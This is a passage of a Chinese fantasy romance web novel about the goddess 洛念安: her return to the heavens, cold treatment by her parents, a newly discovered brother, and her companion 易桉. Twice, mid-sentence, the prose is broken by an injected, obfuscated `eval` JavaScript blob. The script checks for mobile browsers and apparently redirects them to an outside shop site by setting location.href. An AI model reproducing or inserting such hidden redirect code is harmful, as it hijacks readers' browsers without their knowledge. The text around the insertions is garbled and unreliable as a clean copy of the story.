洛念安点头：“对的。说来也不怕吓到你，我在外总是会遇见鬼，才戴在身上辟邪的，如今它也算是开过了光，希望能够保你平安顺遂。还望你不要嫌弃。” 易桉伸出去的手微微一顿，又接过那朱砂串手串，手串上还残留着洛念安身上的温度，他摩挲着，将其戴在了自己的左手腕上。笑道：“谢谢姐姐，我很喜欢。不过这个姐姐给我了，那姐姐怎么办？” 洛念安冲他伸出了另一只手，那只光洁白皙的手腕衬得那抹红色愈发鲜艳：“我还有一串。不过现在已经不太需要了。” “哦？”易桉挑眉。 洛念安摊手道：“你也看见了，我现在就是专门对付这些的。” 易桉微微一笑，道：“也是，姐姐如此厉害，又怎会怕这些东西。” 谈笑间，二人已经走到那座小村，村民们见大蛇被打跑，又纷纷返了回来，围在一起叽叽喳喳，不知在讨论些什么。那对母女一见到洛念安，立马迎了上来，“扑通”一声跪在她面前，就要弯腰磕头：“多谢……” 洛念安伸手扶住她，忙道：“不必行此大礼，快快请起。” 这边刚给这对母子扶起来，那边村长又带着人围过来，一堆人对着洛念安乱七八糟地拜了一通，又七嘴八舌地夸了一番。 “不知这位姑娘是哪路神仙？竟然能一人击退蛇妖。”村长弓着腰，恭恭敬敬地问道。 洛念安摆摆手，道：“不是哪……”又忽地停下，转而改口道：“我随非神仙，但观里供着的是天上的珈洛公主。” 她话一说完，似乎听见身旁的易桉轻笑出声。洛念安正心虚着，也不敢转眼看他。 “珈洛公主？没听说过。” “保什么的？” “保……”洛念安一时语塞，也说不出来能保什么。 “既是女神仙，那能求子吗？”有女子问了。 洛念安连忙摆手：“不不不。” “求一个如意郎君？” “不不不。” “那，求高中？” “不不不。” “什么嘛，什么都保不了。” “……”洛念安擦了擦额头上不存在的汗，却听到身旁的易桉忽然出声道：“净求些没用的东西。这位姐姐胆识过人，武艺了得，你说她所供之神能保什么？保你的命。” 那女子被怼的不出声了，看了一眼易桉，闹了个大红脸，迅速低着头往人群后挤去。 洛念安心底不禁泛起暖流，给了易桉一个感激的眼神，然后对着诸位道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛念安点头，轻声道：“嗯，很久很久以前了。那时候我身边还有一位小孩子，后来有一日他忽然消失不见了。” “他死了吗？” 洛念安摇摇头，垂眸掩下眼中的伤感，低声道：“不知，我找了他许久。如今，肯定是已经不在这世上了。” 树下的易桉没有说话，只看着她。洛念安反应过来，忙摆手道：“抱歉抱歉，故地重游，一时有些感伤。” “无妨，”这次易桉接话到快：“姐姐无需道歉。不过我想，他一定是回来过的。” 洛念安看向他，面露疑惑。 易桉笑了笑，继而道：“姐姐没有听说过吗？人死后，灵魂会回到所念之人身边。” 洛念安垂下眸，道：“我们相遇的时光只有五年。或许离开我后，他有新的际遇，长命百岁，儿孙满堂。”说到这里，她笑了笑，心里多了几分安慰：“如此，离世后，便不会想着回来看看我了。” 易桉却没有搭话了，他只垂眼凝视着自己手中的落花。 沉默之际，村长又带着一群人回来了，他们一来，就不由分说地开始干活，乌乌泱泱，场面混乱又有序。洛念安想去帮忙，但又插不上手，一个二个都让她歇着别动。于是她就和易桉两个人并排坐在白玉兰树下，一起抬头看着天上的月亮。 “姐姐供奉珈洛公主？”易桉忽然出声问。 洛念安心虚点头：“是啊，没听说过吧？” 易桉微微勾唇：“听说过。” 洛念安睁大眼睛看他，道：“真的吗？” 易桉点头：“君逸大帝的女儿，古籍有载。” “也许是吧。”洛念安顺着趴在腿上的小兔子的毛，心里也知道除了这个身份她再没有别的拿得出手的东西了。也不多问，转了话题道：“珈洛公主如此冷门的神官你都知道，那太阴仙呢？你听说过吗？” 易桉先是轻声笑了一下，又向后靠去，双手在脑后交叠，倚着树干，道：“知道，姐姐对他感兴趣吗？他我倒是知道的多。” 洛念安来了兴致：“人人都唤他‘太阴仙’‘太阴鬼王’，那他姓甚名谁？有人知道吗？” “姐姐不知道吗？若是对一个鬼唤他生前的名字，可以控制他的心神，越是亲近的人，时间越长。所以鬼一般不以真名告人，他也是，有时姓花有时名草，没个固定的。” “这样啊。”洛念安点点头，又问：“那他成鬼多久了？” “怎么着也有快五百年了吧。” “听说有三位神官因他而陨落，他为何针对那三位？” “单纯看他们不爽罢了。” “他是何模样？” “丑，丑八怪一个。” “那他为何成鬼？”洛念安回头看向易桉，这人在月光下肤色越发白了。 易桉也看她，笑了笑，道：“姐姐觉得呢？成鬼者，无非就是心中有放不下的执念罢了。” 洛念安还欲再问，村长过来打断她：“仙人，已经打扫好了，供桌也摆好了，您看看需要添些什么？” 洛念安站起身，道：“我姓洛，名念安，唤我名字便好。大家都辛苦了，天色也不早了，快回去歇着吧，剩下的我来就好。” “那好，洛仙人，我们就先回去了。” 洛念安沉默了一下，笑着道：“好的，大家慢走。” 4. 并肩行议身份可疑 一群人又乌乌泱泱地出了院子，各奔东西去了。院子里一下子空荡荡，只剩下洛念安和易桉两两相望。 “姐姐不会要赶我走吧？”易桉眨着眼睛看着洛念安。 洛念安忙摆手：“当然不是。” 于是，二人进了屋，看了一圈，确实是最大程度地打扫干净了，供桌也有了，只是要供奉神官的话，还缺了些东西。 门口的土灶旁堆放着干干净净地稻草，应该是用来点火的。洛念安弯腰放下兔子，抱了些稻草，易桉跟在后面也抱了一些，见着洛念安在角落处蹲下，往土地上铺稻草。 洛念安抬头望他，笑了笑道：“条件不太好，今晚估计只能睡稻草了。” 易桉笑了笑，道：“无妨。姐姐别动了，我来吧。” 他动作很快，给洛念安铺了厚厚一层，完了之后又在房间的对角随便铺了铺，就躺了上去，抬手枕着一只胳膊在脑后，眼睛一眨不眨地盯着屋顶，不知在想些什么。 这房间不大，虽然是对角，距离也没有太远，但是却是最大限度的远了。 洛念安刚准备躺下，易桉却忽然坐了起来，对她道：“姐姐睡不惯吧？” 洛念安愣了愣，脱口道：“大马路我都睡过，这里肯定睡得惯啊。” 易桉却是沉默，半晌，忽然起身道：“我出去一下。” 洛念安也没管，自顾自地躺下，他既然说了是“出去一下”，那肯定还会回来的。果然，没一会儿，易桉又进来了，但这次肩上却扛着一大包东西。洛念安有些惊讶，坐起身，看着走过来的易桉，刚想开口问，就听见他道：“姐姐，起来一下。” 洛念安懵然起身，看着易桉掏出枕头铺盖，嘴巴都张大了，惊讶了好半天，那头一张简易小床都铺好了，她才反应过来，问道：“你从哪弄来这些的？！” “找村民要的。”易桉站起身子，随手将袋子扔在一边。 洛念安心道：“这么快就要回来了？”不过见那铺盖枕头的材质做工，确实像是村民的东西，但看着也应该是那户人家顶好的了。她张了张嘴，缓缓道：“我开始还说不要他们的东西来着……” “我要的，自然和姐姐无关。”易桉说着又走到对角处，和刚刚一样躺下：“时候不早了，姐姐休息吧。” “……”洛念安看向他：“你不需要吗？” “我皮糟肉厚的，在哪里都能睡。” 他衣着不凡，一看就是哪家公子哥，实在是不像一个皮糙肉厚的人。但洛念安也不好再多说，只是抱着上面的被子走过去，轻轻盖在易桉身上，道：“我不怕冷的，这个给你。”说完她就起身回去，躺下，轻声道：“晚安。” 易桉侧目过去看她，微微一笑，低声道：“姐姐晚安。” 今日一天，又是雷劫，又是蛇妖的，洛念安实在是累，很快就陷入沉睡中。这一觉睡得极沉，也是难得的安稳。等她睡醒发现自己身上盖着被子，起身后又看见供桌上摆好了香炉和供盘，最中间摆着一张木制立牌，走进一看，上面写着几个大字“珈洛神位”。这几个字写的很好，仔细看去，那笔锋走势，还有几分自己所写之字的味道。她的字是小时天界文神教授的，大家之字好总是好的，但看来看去总是大同小异。洛念安学时，也是那般，大体字体是一样的，只是融入自己的所念所想，便会稍有不同。 易桉不在屋内，房门开着，洛念安走去往院子里一看，易桉正拿着扫把扫着院中满地的落花，那只小白兔还在，缩在角落里。见洛念安出来，他停下动作，回头过来看她，笑容明朗，道：“姐姐醒了。” “嗯。”洛念安也笑。 易桉问道：“昨夜睡得可好？” “当然啦，”洛念安笑眯眯的：“那小床很舒服。”顿了一下，她问道：“那牌位上的字是你写的吗？” 易桉已经将地上的落花扫的堆成一座小丘，口中道：“写的不好，姐姐见谅。” “没有没有，”洛念安摆摆手：“写的很好，方便问一下是何人教导吗？” 易桉放下手中的扫把，抱臂立在树荫中，笑道：“幼时遇到一位大师，她教的。” 洛念安闻声点头，喃喃道：“这样啊。” 洛念安还欲再说，却听见不远处传来叽叽喳喳的声音，由远及近，一群人眼见着冲进院门，乌乌泱泱，来到她面前，七嘴八舌地说要来拜神仙。而后又绕过她进了屋子，争先恐后又井然有序地摆上贡品，什么蔬菜瓜果大米，应有尽有。供桌前没有蒲团，村民们也不介意，直直就往地上跪。 洛念安忙赶上去，一手一个拖起，道：“不必跪，不必跪。” 村长道：“拜神哪有不跪的道理？” 洛念安用力拖着还欲再跪下去的人，拉拉扯扯好不费劲，她大声道：“拜珈洛公主不必跪，跪了反而不灵验了，信我。心诚则灵，心诚则灵啊大家。” 众人将信将疑，犹豫着站在那对着珈洛的神位虔心拜了又拜，七嘴八舌地许愿，什么“风调雨顺”啦，“五谷丰收”啦，“娶个漂亮媳妇”啦……打住！ “大家，”洛念安忍不住出声提醒：“珈洛公主降妖除魔或许在行，其他的着实是有些难为她。” 于是大家住了嘴，又改口许愿道“平安顺遂”。 一群人拜完，又乌乌泱泱如潮水般退去，小院一下子又安静下来。洛念安出门，见着易桉不知道从哪弄来了几块木材，正一条长腿踩在一侧，拉着手里的锯子。她疑惑道：“你这是在做什么？” 易桉回头看了她一眼：“会点手工活，想着给姐姐做张床。” 洛念安扬着笑，真诚道：“你看着真不像会手工活的人。” “姐姐，人不可貌相。” 洛念安笑了几声，道：“是这样。”她抬头看了看天，问道，“饿不饿？我做些饭吃？” “好呀。”易桉应着，继续忙着手里的活。 洛念安则转身回到屋里，取下供桌上的瓜果蔬菜，在灶台前开始生火做饭。 很快，床做好了。她和易桉两个人坐在灶台边的破旧木桌旁，洛念安递出筷子，微笑道：“尝尝？” “嗯。”易桉也笑着，接过筷子，夹了一筷子参杂在红的青的辣椒堆里的圆白菜，送入口中，面不改色道：“好吃。” 洛念安眼睛一下子亮了，道：“真的吗？”说着自己也夹了一筷子送入口中，“我也是很多年前跟别人学的，那人的手艺很好，我最喜欢吃他做的辣椒炒肉了。” 洛念安的思绪忽然飘走了。飘到五百年前，初遇洛太初时，她见他收拾屋子辛苦，便决定用洛太初刚打扫出来的干净的灶台做东西给他吃，也刚好那时热心的村民们送了点瓜果蔬菜过来。说干就干，虽那时刚到人间不久，但她是个一看就会的人，边回忆着几天的所见所闻，边动起手来。于是洛太初忙完外面的事情后，一进屋，就看见洛念安正盖上锅盖。 “……”洛太初看了一眼她手边的食物残渣，不太确定地问道：“姐姐这是？” 洛念安笑眯眯道：“我在尝试做些吃食。” 洛太初走过去，看向战况激烈的战场，沉默了一下，动了动嘴皮子，最终还是没说什么。 洛念安依旧笑眯眯地把他带到椅子上，道：“你歇一会儿吧，一会儿就可以吃了。” 空气中弥漫着难言的气味，洛太初持续沉默着，最后还是忍不住说了一句：“姐姐，好像有些糊了。” “糊了？糊了是何意？” “就是，大概是熟了，不能再煮下去了，再煮下去就不能吃了。” 洛念安这才走到灶台边，恍然大悟道：“原来不煮不能吃，煮时间长了也不能吃啊。”她边嘀咕着，边把锅里的东西装到盘子里，然后端着一盘五颜六色的黑东西到洛太初面前，笑眯眯道，“尝尝。” “……”洛太初不太确定地看了洛念安一眼，又转向那盘五颜六色的黑东西，迟疑地拿起手边的筷子，顿了一下，视死如归地夹了一筷子送进嘴里。 然后，“咚”的一声。 洛念安笑眯眯地看着他吃进嘴里，笑眯眯地看着他脑门撞上桌子，没了反应。心道：“年轻就是好啊，倒头就睡了。”然后自己也拿起筷子尝了一口自己的杰作，接着就是“咚”的一声。 思绪回笼，洛念安发现易桉正望着她，笑了一下，道：“是吗？也巧，我也会点厨艺，下次让姐姐尝尝。” 洛念安是当真觉得惊奇，她认识的如他这般的人，真真是十指不沾阳春水。而易桉竟不止木工做的好，还会下厨。心中虽是如此想，但洛念安嘴里只是应着：“好啊。” 席间，洛念安察觉到有人靠近，放下筷子，起身到门口去查看。远远就见着一身白色锦袍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345167|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦和缓缓走近，在门口张望了一会儿，似乎在犹疑些什么，见着洛念安，才放心地推开院门进来。 洛念安挂着笑，朝前走了几步迎上去，对锦和打招呼道：“锦和真君，怎的劳您大驾？” “殿下，”锦和先是打了个招呼，停在那，道：“寻真阁查到此间有一处殿下的神庙，我现下又联系不上殿下，所以下来看看。” 洛念安忽然觉得有些不好意思，转了话题道：“下来时忘记询问真君的通灵口令了。” 锦和微点头：“我的通灵口令是‘锦和真君无所不知无所不能’，殿下呢？” “你的通灵口令是什么。” 锦和答道：“我的通灵口令是……”他忽的顿住，看向洛念安，无奈道，“殿下这口令真是……” 锦和的反应不是洛念安想要的，这是她昨日飞升后突然想到的，自觉很有趣。但旁人好像并没有觉得它有趣。她抬手摸摸鼻子，问道：“不有趣吗？” 锦和没什么感情道：“有趣。” 洛念安眨眨眼，侧过身子，转了话题：“我们正在吃饭，真君要进来吃点嘛？” “你们？”锦和往前，一脚跨进房门，却猛地掩面退到门口去扶着门框咳了起来，好半天，才缓过来。 洛念安在他身旁关切道：“没事吧？” 锦和摆摆手，勉强道：“没事，就是太呛了。” 洛念安疑惑：“什么呛？”说完又猛地想起来，“哦，不好意思啊，我比较喜欢吃辣，所以可能多放了些辣椒。” 锦和摆摆手，稍微适应之后又迈了进去，正和桌在桌边支着二郎腿手中转着筷子的易桉对视上，他再次顿住脚步。 “这位是？”锦和看向洛念安。 洛念安笑着介绍道：“这位是我昨夜遇到的。” “昨夜？十五夜晚？”锦和又将易桉上下打量一遍，面色微变，对洛念安说话的语速都变快了：“殿……现在有点急事，你跟我走一趟。” 洛念安不疑有他，点头道：“好。” “姐姐。”一旁安静良久的易桉忽然出声。 洛念安看过去。 “还回来吗？”易桉笑得无害。 洛念安笑着应下：“自然。” 锦和却是有些着急的样子，但还是勉力维持着礼数，没有拉着洛念安跑，只是对她道：“先别笑了，事不宜迟。” 于是洛念安跟易桉打了声招呼，跟着锦和走了。 二人在天界的大街上并排走了许久，期间锦和几次欲言又止。洛念安温声道：“真君似乎有话说。” 锦和听她这么说，于是干脆道：“殿下还是不要随便捡人的好。” 洛念安微笑道：“真君是说易桉吗？” 锦和的拂尘换了一边：“他告诉殿下他叫易桉？” “对啊。” “殿下难道就不怀疑他的身份？” “怀疑啊。”洛念安依旧笑眯眯的。 “……” 她继续道：“只是转念一想，若他并非常人，那费尽心思地藏在我身边所为何事呢？我一没信徒，二没法宝，三有欠款在身，实在是没什么可图的，故而他是谁都无所谓了，乐意和我待在一起，我也图个热闹。况且，我觉得他挺好的。” 锦和不再说话了。 洛念安却有话要问：“所以真君喊我上来，是所谓何事呢？” 锦和缓声道：“帝君回来了，得知殿下飞升，特召众上神官到君逸殿，互相认识认识。” 洛念安不笑了，抿起了唇，沉默下来。 过了一会儿，锦和道：“殿下，我的好友申请过去了，你通过一下。” “？”洛念安疑道：“什么好友申请？” 锦和解释道：“是这样，现在各神官之间的联系略微换了方式。通过口令互相申请成为好友，下次再通灵便不用再重复口令了。” “这样啊。”洛念安听着，神识也确实察觉到了锦和的申请，便确认通过。 锦和继续说：“我邀请殿下进了天界的通灵阵，殿下收到了吗？” “收到了。”洛念安起先被阵内的声音吵的脑瓜子嗡嗡响，默默开启了静音模式。她笑道：“现在真是不一样了。” 锦和接道：“是啊，时过境迁。” 闻言，洛念安垂下眸，不再言语。 5. 殿议偶遇故人一二 二人走至离君逸殿愈近，神官渐渐多了起来，和锦和打招呼的人也多。洛念安下界之时，天界第一文神还不是他，如今位至文神之首，与之交好之人自然也就多了。反观洛念安，毫无疑问地无人问津，走着走着，锦和已经去和其他交好的神官走在一起，她只身一人，继续朝君逸殿走去。 只是越往那座神殿靠近，步履越发沉重。直到一道声音打破这份沉重，把洛念安拉回现实：“这位神官，请问你是不是有一位胞兄或者胞弟？” 洛念安回神朝面前的人望去，这人很高，也壮，肤色白皙，发黄，带卷，眼窝深邃，一看就不是中原人士。他声音清朗，估摸着年轻时便飞升了。 飞升之人在飞升后会维持着之前的容颜不变，直到法力衰微，神路至末途，当然，那多半也会是千百年后的事情了。 洛念安看着他，微笑着摇头：“并未有。” 黄毛依旧紧紧盯着她，末了，抓了抓脑袋上略显杂乱的毛，迈着大步子继续往君逸殿里去了。 洛念安几乎是墨迹到最后才进去的，君逸殿前的百十级台阶实在是难爬。进去之时，大殿里已经站了十来人，很是空旷。她一进去，所有人的视线齐刷刷落在她身上，她微垂着头，寻了一处无人在意的角落立在那里。 上天神界有风雨雷地四位神官，十二位武神，八位文神，总计二十四位上神官。当然，这二十四位也不总是齐的，可能这位陨落了，那位迟迟未飞升，故而一段时间内差了一两个也是常事。其他的未飞升的称为仙官，位于下天界，多跟随各位上神官修行，或是身兼种花修草等闲职。 洛君逸是最后一个到场的，众神纷纷向他行礼，而后各自立在原地。洛君逸则一路往上，坐在大殿中央的最高处的帝位上，俯瞰众人。 洛念安的视线追随着他，她的父亲，心绪繁杂，理不清到底是何感想。 他一落座，视线便看向洛念安，低沉的声音飘至大殿的每一处角落，透着威严：“珈洛，你回来了。” 洛念安走到大殿中央，对着洛君逸行礼，道：“父君。” 她现在可谓是万众瞩目，实在是很不习惯，有些如芒在背，如鲠在喉，如履薄冰，如坐针毡，如…… 洛君逸坐在高处，支着下颚，垂着眼便能看着她，却只是轻轻“嗯”了一声，对她道：“如今上天界有武神官九人，文神官七人，你飞升了，正好补上最后一位文神官的位子。” 洛念安垂首抿唇，片刻后，行礼道：“父君，儿臣应该是作为武神飞升的。” “哪有女娃娃整天在外面打打杀杀的？”说这话的是明修真君，上一任文神之首，年岁比洛君逸大些，两鬓斑白，听说是花甲之年才飞升成神。洛念安下界之前他还在一线，如今已经退居好几线了，锦和便也就顶了上来。其人如其言，固执，守旧，嘴碎。仗着自己的年纪比别人大，总爱说教，“踏踏实实的，做点女娃娃该做的活。又不是没有女神官飞升，人家文神不也做的好好的。” 洛念安还是温声道：“摆弄卷轴我确实不在行。” 明修：“学一学不就会了，谁出生什么都会？” 洛念安继续温声道：“我在人间是习了武的。” 明修吹胡子：“女娃娃习武哪里比得上男娃娃？上一个女武神是谁？大家都心知肚明吧！后来成了什么样？大家也都知道的吧！” 上一个女武神正是后来各界闻风丧胆的女魔颜无双，魔道开山鼻祖，开辟妖魔鬼怪诞生的摇篮无量狱。围剿她时，洛君逸身先士卒，英勇无敌，将其一剑斩杀，自此也使这位第一武神立于不败之地。 在众人沉默之际，洛君逸开口道：“你想做武神？” 洛念安坚定道：“是的。” “可有法器？” “在人界，尚未带上来。” 锦和问道：“殿下的法器是何物？我派人下去寻上来。” 洛念安对着锦和颔首道：“多谢你了。是一杆枪，黑柄，金纹，状似游龙。” 此话一出，四下皆是沉默，片刻间大殿内安静的连众人的呼吸声都能听见。在场的武神里武器几乎都是剑，这兵器好上手，用枪的还真没有。要真说出用枪的，且出名的武神，那只有颜无双。 但洛念安不知道这事。她微笑着，见锦和神色微变，问道：“怎么了嘛？如果不方便的话我可以自己去寻的。” 锦和摆摆手，道：“殿下稍等，我即刻派人寻上来。” “麻烦你了。”洛念安又对着洛君逸，想着强调一下自己非武神不做的决心，正欲开口，却听见从大殿一侧传来一声：“念将军？” 众人往声源地看去，只见着一位眉清目秀，又高又瘦看起来手无缚鸡之力的人，但他却是稳稳当当地站在武神堆里。手执一柄折扇，扇面上写着大大的“柳”字。洛念安望过去时他正收了扇子，一瞬不瞬地看着她。 大家都很好奇这个“念将军”是谁，四下张望着，议论着。洛念安收回视线，四下望望，也跟着好奇。就听见那人继续喊道，这次倒是坚定了许多：“念安将军。” “......”洛念安看热闹的头又扭了回来，在场所有人里叫“念安”的大概是只有她一个了。 “真的是你。”那人又展开扇子，边风度翩翩地扇着风，边缓步朝洛念安走来，嘴里还恍然大悟道：“原来念将军是女儿身吗？真是有趣。” 洛念安笑着抬手跟他打招呼：“是你啊。” 那人挑眉道：“你还记得我。” 洛念安微笑着：“有点忘了。” “三百年前我们在战场上交过手啊。”他收了扇子，指向洛念安：“那时，你是上阳国的镇国大将军，”又指指自己，“我是黎元国的将军。” 洛念安这下笑得情真意切，她记起来了，没想到如今还能重遇故人，不免觉得分外亲切，开心道：“是你啊柳渊将军，不好意思，时间太久了，我记性又不太好。没想到能在这里再遇将军。” “是啊。”柳渊以扇掩面，他显然也对能遇故人这件事感到高兴。 “怎么回事？” 柳渊对着洛君逸道：“帝君，念将军......如今应该是珈洛公主，在三百年前曾是我在战场上的劲敌。说来惭愧，那时我军曾几次三番被念......珈洛公主率领的上阳军击退，珈洛公主武艺了得，有勇有谋，长枪在手更是一夫当关万夫莫开。只是那时是扮作男儿身，我也是辩了许久才敢确定。” 人群中有人开玩笑道：“柳渊将军不是号称常胜将军吗？一生保家卫国，杀敌无数，从无败绩？” 柳渊展扇轻摇，面不改色道：“我一生军功无数，也就败了那几场，完全可以忽略不计嘛。” 众神哄笑，洛君逸也低笑几声，随后道：“罢了，既如此，你便先担武神之职，若做不出成绩，自去补文神之位。” “是。” 殿议结束，众神纷纷退出君逸大殿。洛念安被洛君逸留下。 等人都走完了，洛君逸才开口道：“你走时，为父让你在人界有困难，便去为父的神庙里告知，这五百年来，你一次都没 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这两人像两小儿一样在那里吵嘴。洛念安有点受不了路人投来的目光，紧急比了个停止的手势：“停一下二位，都是几百岁的人了，这样吵法实在是与身份不符吧。” 那两人果真安静下来，顿了顿，她唤道：“阿昭。” “你别这么喊我！”赫连昭喘着粗气，白皙的皮肤此刻却涨得通红，连眼角都泛着红。 洛念安默了默，改口道：“太子殿下，我……” “我不听！”赫连昭却忽地捂住耳朵，一副抗拒的样子。 洛念安闭了嘴，说实话她也不知道该说些什么。她没想到会在这里遇见他，本以为一切在三百年前就已经结束了，没想到它会越过时间长河，这些人和这件事，在三百年后等着她。 “你有病啊。”柳渊忍无可忍道：“把人家拦在这，人家说话你又不听，发癫去一边癫去。” 他一把推得赫连昭侧过身去，引着洛念安继续朝前走。而赫连昭竟真的这么被他推在一边，呆在那里，也不动，只听见洛念安在路过他时那一句轻声的：“对不起。” 二人一道走着，柳渊摇着扇子，一副翩翩佳公子的模样，说出的话却不太像佳公子：“念将军，他就是这样，喜欢发疯，你别往心里去。” “柳将军也不能这样说，他只是年纪小，心理承受能力稍差些罢了。况且，你我都不是他，不知他所经历的，没有走过他所走过的路，自然也就不能完全理解他。” “念将军方才才说我们年纪不小了的。” 洛念安笑了笑，没有说话。 二人走了一阵，见着前面不远处出现一支仪仗队，一位白衣少年为首，身后跟着有十位仙官，声势浩大。陆陆续续有仙官神官迎上前去行礼，那少年春光满面，昂首挺胸，眉眼张扬，透着与生俱来的骄傲，举止投足都贵气逼人。 洛念安好奇道：“那位是谁？好生气派。” 柳渊往那边看了一眼，又瞥了眼旁边的洛念安，那眼神多少带着点心虚，默了一会儿才道：“那位啊，念将军不知道吗？” 洛念安觉得莫名其妙，但依旧温声细语：“不知道啊，知道我还问吗？” 柳渊又瞥了洛念安一眼，道：“那位名霁禾，也称云祉殿下。” 洛念安嘴角挂着笑，真诚道：“风光霁月，风禾尽起。好名字。” 柳渊第三次瞥洛念安，才终于说道：“他是你的弟弟。” 6. 一人醉饮醉叹人生 洛念安的笑容一下子僵在脸上，绕是她身经百战，也还是被惊地停在原地，她看向柳渊：“弟弟？” 柳渊以扇遮住半边脸，点头道：“念将军竟不知道吗？” “……” 她去哪里知道，今日见洛君逸，也没有听他提起。 洛念安的视线停在与众神谈笑风生的洛霁禾身上，他那里好像连阳光都更多一点。洛霁禾穿着华丽精致的衣袍，白蚕做底，银线勾勒，金丝描边，那条金腰带上点缀着数不清的宝石，像天上的星星那么多。她忍不住低头看看自己身上的行头，不过是一件洗到发白的普通的不能再普通的裙衫，她连这件衣服一开始是什么颜色的都记不清了。 她望着他，那边洛霁禾的目光也投了过来，二人的视线在空中相撞，是洛念安忍不住先移开的视线。 他们的去向似乎是一样的，避无可避，二人在拐往清漓殿的路口相遇。对视良久，洛霁禾率先开口，他的语调透着率真开朗：“长姐好～” 洛念安一时半会真不知道该如何面对这个突然出现的血缘至亲，只能傻傻地微笑，抬起一只手对他摆了摆，道：“你好啊。” 她已经听到身后众人的议论了。 “珈洛公主看着不怎么喜欢云祉殿下。” “可不嘛？你突然多了个弟弟分走你爹娘的爱你乐意？” “云祉殿下倒是蛮友善。” “可不嘛？云祉殿下没吃过苦，以帝君帝后对云祉殿下的宠爱程度，估计他也不怕珈洛公主抢走什么。” 洛霁禾的声音拉回洛念安的思绪：“长姐是要去看望母后吗？” 洛念安微笑点头。 “正好我也要去，”洛霁禾笑得天真又烂漫：“一起吧。” “好。” 洛霁禾的声势还是那般浩大，衬的洛念安愈发寒酸。 二人齐齐迈进清漓殿，念清漓正在前殿坐着，面前的玉案摆满佳肴，看着就像是在等什么人。 洛念安看着琳琅满目的珍馐佳肴，心中微暖。却见着念清漓起身直直迎到洛霁禾面前，笑容满面，万般慈爱地开口：“我儿来了，快来，看看，母后让人做了一桌子你爱吃的菜。” 心中的那团小火花猝然被大风吹灭，还被人迎头浇下一桶冰水，又冷又疼，冻得人发颤，疼的人发抖。洛念安望着念清漓，脸色比平时更白，却还是微笑着，俯身行礼，唤道：“母后。” 念清漓的视线这才投了过来，她眼中闪过惊讶，道：“珈洛，是你啊。”她将洛念安上下扫了一眼，蹙眉道：“怎地穿的如此寒酸？如此这样来见本宫，岂不是有失礼数？” 洛念安现下才是真正的如鲠在喉，她呆立在原地，看着洛霁禾被念清漓拉到玉案边坐下，给他布好碗筷。玉案上的碗筷只有两副，没有谁的，显而易见。 念清漓看了洛念安一眼，对一旁的仙侍道：“去添一副碗筷。” 洛念安低垂着头，行礼道：“儿臣只是来看看母后，毕竟许久未见，儿臣......甚是想念母后。如今看过了，便就不打扰母后和弟弟用餐了。儿臣告退。” 说到后面，她已经哽地有些说不出话来，费劲压下喉间酸涩，才勉力将后面的话都说了出来。但是这些好像根本无人在意。 洛念安转过身子，呆滞地离开大殿，而灵魂似乎还留在清漓殿看着这出母慈子孝的戏码，让她像行尸走肉一般，在上天界的大街上缓缓挪动。 洛霁禾应该是在她下界后不久出生的，这也就解释了，为什么她在人间摸爬滚打了那么久，都无人问津。 ...... “有空去看看你的母后，许久不见，她很想你。” 洛念安干脆往后一仰，倒在身后的草地上，也不顾灰尘泥土，手上的酒坛倾倒，洒了些酒出来，她又举起来往嘴里灌了几口，结果倒得满脸都是，呛得她猛咳好几声，她狼狈不堪地坐起身，大声道：“骗鬼啊？骗鬼啊！到底是谁在想我？谁在关心我？！有病！谁会想你啊？！想太多了吧！太自以为是了吧！你以为自己是谁啊？！” 察觉到身边有人来了，洛念安丢了手上的酒坛，继续像烂泥一般躺了下去，不用看她就知道来者是谁，自顾自道：“你来了啊，我就知道你会来。好了，你可以开始了，嘲笑我吧，我听着。” “……” “说啊，快说啊。对，我就是没人在意没人爱！我就是喜欢在烂泥里打滚！我就是喜欢热脸上去贴人家的冷屁股！我就是自以为是地觉得她是爱我的，我走了这么久，她，和他，会想念我，会心疼我，会觉得愧疚！我就是这么愚蠢可笑地自以为是！” “……” “还有什么？你说？还有什么？这次你能不能说出点新东西来？来来回回嘲讽我的就那几句，这么多年我听都听腻了！”洛念安猛地坐起身子，闭着眼，抹了一把脸：“我可没有哭！这是刚刚洒的酒，你看到了吧！是刚刚洒的酒！” 她突然伏在膝盖上放声大哭了几声，又坐直身子，扯着嗓子道：“对！你说的都对！我就是能装，明明在意的要死，却总是装作一副什么都不在意的样子。这么多年了，我以为我已经接受了这个事实。但是我依旧像一只阴沟里的老鼠！永远躲在见不得光的角落，偷偷地看着别人，轻而易举地，就能得到我一直一直想要得到的东西！” 她倏地安静下来，静静地伏在膝上，好一会儿，忽地说：“你很久没来了。现在想来，这么多年，只有你一直在我身边......挺可笑的。” 空气又安静了好一会儿。洛念安才终于察觉到不对劲，抬起头来，眯着眼睛朝来人看去，嘴里还嘟嘟囔囔着：“你今日怎的这样安静？你……欸？你换装扮了啊？真是稀奇，这么多年我还以为你就那一件白衣服呢。” 视线里并非往日那条白色身影，而是一道模糊的黑色修长身影，面上也没有戴着那个阴森可怖的笑面具。洛念安的脑子开始转动，转了半圈，卡死不动了，她叹气道：“罢了，你爱穿什么是你的自由，我不管了。”说着她又忽然站起身子，往前贴近一步，伸着脖子，眯着眼，嘀咕道：“以前一直戴着丑面具，这次我倒要好好看看你长什么样子。” 她看不清，面前的身影似乎比以往高得多，于是又往前了一步，结果左脚绊右脚，眼见着就要往前栽去。洛念安习惯性地闭上眼睛，然而预料中的疼痛没有袭来，反而肩膀被一双有力的大手覆上，稳稳拖住她。 洛念安心道：“真奇怪，她今日怎的这样好心？” 正奇怪着，头顶响起一道悦耳的男声：“姐姐，你醉了，我送你回家。” 